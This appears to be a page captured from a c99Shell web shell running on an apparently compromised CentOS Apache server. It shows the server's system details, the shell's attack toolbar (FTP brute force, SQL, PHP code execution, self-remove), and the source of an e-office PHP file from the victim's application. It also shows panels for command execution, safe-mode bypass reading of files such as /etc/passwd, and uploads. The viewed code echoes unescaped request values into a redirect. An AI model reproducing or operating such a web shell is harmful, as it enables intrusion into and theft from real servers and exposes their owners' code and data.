!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mistk/eoffice/admin/   drwxr-xr-x
Free 50.91 GB of 127.8 GB (39.84%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     processProposeDocAll.php (7.03 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
include_once("../../class/clsConnection.php");
include_once(
"../../class/clsDB.php");
include_once 
"../global.php";
include_once 
"../link/function.php";
include_once 
"../link/functionshow.php";
include_once 
"../class/clsDocType.php";
include_once 
"../class/clsDocattatchesTmp.php";
include_once 
"../class/clsDocuments.php";
include_once 
"../class/clsRunningDoc.php";
include_once 
"../class/clsDocattatches.php";
include_once 
"../class/clsDocReceiveSend.php";
include_once 
"../class/clsDocForSign.php";
include_once 
"../class/clsDocLineConfig.php";

$oC = new clsConnection($GLOBALS['DBHOST'], $GLOBALS['DBNAME_EOFFICE'], $GLOBALS['DBUSER_EOFFICE'], $GLOBALS['DBPASS_EOFFICE']);

$oDt = new doctype($oC);
$oDt1 = new doctype($oC);
$oDtmp = new DocattatchesTmp($oC);
$oDatt = new Docattatches($oC);
$oDoc = new Documents($oC);
$oRd = new runningdoc($oC);
$oRd1 = new runningdoc($oC);
$oRs = new DocReceiveSend($oC);
$oRs1 = new DocReceiveSend($oC);
$oRs2 = new DocReceiveSend($oC);
$oRs3 = new DocReceiveSend($oC);
$oRs5 = new DocReceiveSend($oC);
$oRs4 = new DocReceiveSend($oC);
$oDfs = new DocForSign($oC);
$oDlc = new DocLineConfig($oC);
if(
$methodselect=="addpropose"){ 
                    
$flagCommit true;
                    
$checkflagCommittrue;
                    
$oC->BeginTrans();
                        
                    
$str $_POST['DrsIDproposeDoc'];
                    
$tmp explode("," ,$str);
                    
$tmp array_reverse($tmp);
                    
$reversed_str join(','$tmp);     

                  
$store_DrsID_exp explode("," ,$reversed_str);
                  
$store_DrsID_exp_count=count($store_del_exp);
                    
                  
$store_DrsID_exp_count=count($store_DrsID_exp);
                  
$checkdoc=0;
                  for(
$j=0$j<$store_DrsID_exp_count;$j++){
                        
$t_id trim($store_DrsID_exp[$j]);
                        if(
strlen($t_id)==0){
                        
                        }else{    
                            
//echo $t_id.'<br>';
                                
                                
$oRs->SearchproposeAllDoc2($t_id);$oRs->GetRecord(); 
                                
$oDoc->SearchByKey($oRs->DocID);$oDoc->GetRecord(); 
                                if(
$oDoc->DsID=="1"){  //can propose this doc case normal
                                        
$oDoc->Edit();
                                        
$oDoc->DsID="2";
                                        
$checkflagCommit $oDoc->Save();
                                        
                                        
$oRs->Edit();
                                        
$oRs->DrsSendDate=getNowDateTh()." ".date('H:i:s');
                                        
$oRs->DrsSendDlcID=$DlcPs;     
                                        
$checkflagCommit $oRs->Save();
                                        
                                        
//---------------add DocReceiveSend
                                        
$oRs1->AddNew();
                                        
$oRs1->DrsID=$oRs1->GetNextCode();
                                        
$oRs1->DocID=$oDoc->DocID;
                                        
$oRs1->DlcID=$DlcPs;
                                        
$oRs1->DsID=2;
                                        
$oRs1->PtID=$oRs->PtID;
                                        
$oRs1->DrsDocTypeNo=$oRs->DrsDocTypeNo;
                                        
$oRs1->DrsReceiveDate=$oRs->DrsSendDate;
                                        
$oRs1->DrsDocDueDate=$oRs->DrsDocDueDate;
                                        
$oRs1->DrsDlcIDCreate=$DlcIDlogin;
                                        
$oRs1->DrsPsIDCreate=$personId;
                                        
$oRs1->DrsPropose=$DrsPropose;
                                        
$oRs1->DrsFromDrsID=$oRs->DrsID;
                                        
$oRs1->DocGroup=$oRs->DocGroup;
                                        
$oRs1->AnID=$oRs->AnID;
                                        
$oRs1->DrsstartDatePost=$oRs->DrsstartDatePost;
                                        
$oRs1->DrsendDatePost=$oRs->DrsendDatePost;    
                                        
$checkflagCommit $oRs1->Save();
                                        
                                        if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                }                            
                        } 
//each t_id
                  
}
                if(
$flagCommit)
                    
$oC->CommitTrans();
                else
                    
$oC->RollbackTrans();
                    
    echo 
"<meta http-equiv='refresh' content='0; URL=regisDoc.php?page_id2=$page_id2&RsID=$RsID&DtID=$DtID&searchpredocdate=$searchpredocdate&selectpredocdatevalue=$selectpredocdatevalue&folderstaff2=$folderstaff2&forfolderstaff2=$forfolderstaff2&searchPreName=$searchPreName&searchPreNo=$searchPreNo&searchPreTypeNoF=$searchPreTypeNoF&searchPreTypeNoT=$searchPreTypeNoT&selectdocdatevalue=3'>";
}else if(
$methodselect=="addbypass"){
                    
$flagCommit true;
                    
$checkflagCommittrue;
                    
$oC->BeginTrans();

                    
$str $_POST['DrsIDproposeDoc'];
                    
$tmp explode("," ,$str);
                    
$tmp array_reverse($tmp);
                    
$reversed_str join(','$tmp);     

                  
$store_DrsID_exp explode("," ,$reversed_str);
                  
$store_DrsID_exp_count=count($store_del_exp);
                    
                  
$store_DrsID_exp_count=count($store_DrsID_exp);
                  
$checkdoc=0;
                  
$f=0;
                  for(
$j=0$j<$store_DrsID_exp_count;$j++){
                        
$t_id trim($store_DrsID_exp[$j]);
                        if(
strlen($t_id)==0){
                        
                        }else{    
                            
//echo $t_id.'<br>';
                                
                                
$oRs->SearchproposeAllDoc2($t_id);$oRs->GetRecord(); 
                                
$oDoc->SearchByKey($oRs->DocID);$oDoc->GetRecord(); 
                                if(
$oDoc->DsID=="1"){  //can propose this doc case normal
                                        
$oDoc->Edit();
                                        
$oDoc->DsID="3";
                                        
$checkflagCommit $oDoc->Save();

                                        
$oRs->Edit();
                                        
$oRs->DrsSendDate=getNowDateTh()." ".date('H:i:s');
                                        
$oRs->DrsSendPersonId=$DlcPsId;
                                        
$oRs->DrsSendDlcID=$DlcPs;
                                        
$oRs->DrsByPass="Y";
                                        
$oRs->DrsByPassPropose=$DrsPropose;    
                                        
$checkflagCommit $oRs->Save();
                            
                                        
//---------------add DocReceiveSend
                                        
$oRs1->AddNew();
                                        
$oRs1->DrsID=$oRs1->GetNextCode();
                                        
$oRs1->DocID=$oDoc->DocID;
                                        
$oRs1->DlcID=$DlcIDlogin;
                                        
$oRs1->DsID=3;
                                        
$oRs1->PtID=$oRs->PtID;
                                        
$oRs1->DrsDocTypeNo=$oRs->DrsDocTypeNo;
                                        
$oRs1->DrsReceiveDate=$oRs->DrsSendDate;
                                        
$oRs1->DrsReceivePersonId=$personId;
                                        
$oRs1->DrsDocDueDate=$oRs->DrsDocDueDate;
                                        
$oRs1->DrsDlcIDCreate=$DlcIDlogin;
                                        
$oRs1->DrsPsIDCreate=$personId;
                                        
$oRs1->DrsFromDrsID=$oRs->DrsID;
                                        
$oRs1->DocGroup=$oRs->DocGroup;
                                        
$oRs1->AnID=$oRs->AnID;
                                        
$oRs1->DrsstartDatePost=$oRs->DrsstartDatePost;
                                        
$oRs1->DrsendDatePost=$oRs->DrsendDatePost;    
                                        
$checkflagCommit $oRs1->Save();
                            
                                        if(
$oDoc->DtID==15 && $oDoc->DocPID!="0"){ 
                                        
                                            
$oDlc->SearchByKey($DlcIDlogin); $oDlc->GetRecord(); 
                                            
$oRs4->SearchDeptSendDocforSign($oDoc->DocID);
                                            
$oRs4->GetRecord();
                                            
                                            
$oRs5->SearchByKey($oRs4->DrsFromDrsID);
                                            
$oRs5->GetRecord();
                                            
$oDfs->AddNew();
                                            
$oDfs->dfID=$oDfs->GetNextCode();
                                            
$oDfs->DocID=$oRs5->DocID;
                                            
$oDfs->DlcID=$oRs4->DrsDlcIDCreate;
                                            
$oDfs->DocGroup=$oRs5->DocGroup;
                                            
$oDfs->DlcIDsign=$DlcIDlogin;
                                            
$oDfs->DeptSign=$oDlc->deptId;
                                            
$checkflagCommit $oDfs->Save();
                                    
                                        }
                                        
                                        if(!
$checkflagCommit){ $flagCommit=$checkflagCommit;   }
                                }else{
                                    
$f++;
                                }                            
                        } 
//each t_id
                  
}
                if(
$flagCommit)
                    
$oC->CommitTrans();
                else
                    
$oC->RollbackTrans();
                    
    if(
$sendAllDoc=="Y" && $f==0){
    
$DrsIDproposeDoc=$_POST['DrsIDproposeDoc'];
    echo 
"<meta http-equiv='refresh' content='0; URL=showSendDocAll.php?DrsIDproposeDoc=$DrsIDproposeDoc'>";
    }else{
    echo 
"<meta http-equiv='refresh' content='0; URL=regisDoc.php?page_id2=$page_id2&RsID=$RsID&DtID=$DtID&searchpredocdate=$searchpredocdate&selectpredocdatevalue=$selectpredocdatevalue&folderstaff2=$folderstaff2&forfolderstaff2=$forfolderstaff2&searchPreName=$searchPreName&searchPreNo=$searchPreNo&searchPreTypeNoF=$searchPreTypeNoF&searchPreTypeNoT=$searchPreTypeNoT&selectdocdatevalue=3'>";
    }                    
}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0068 ]--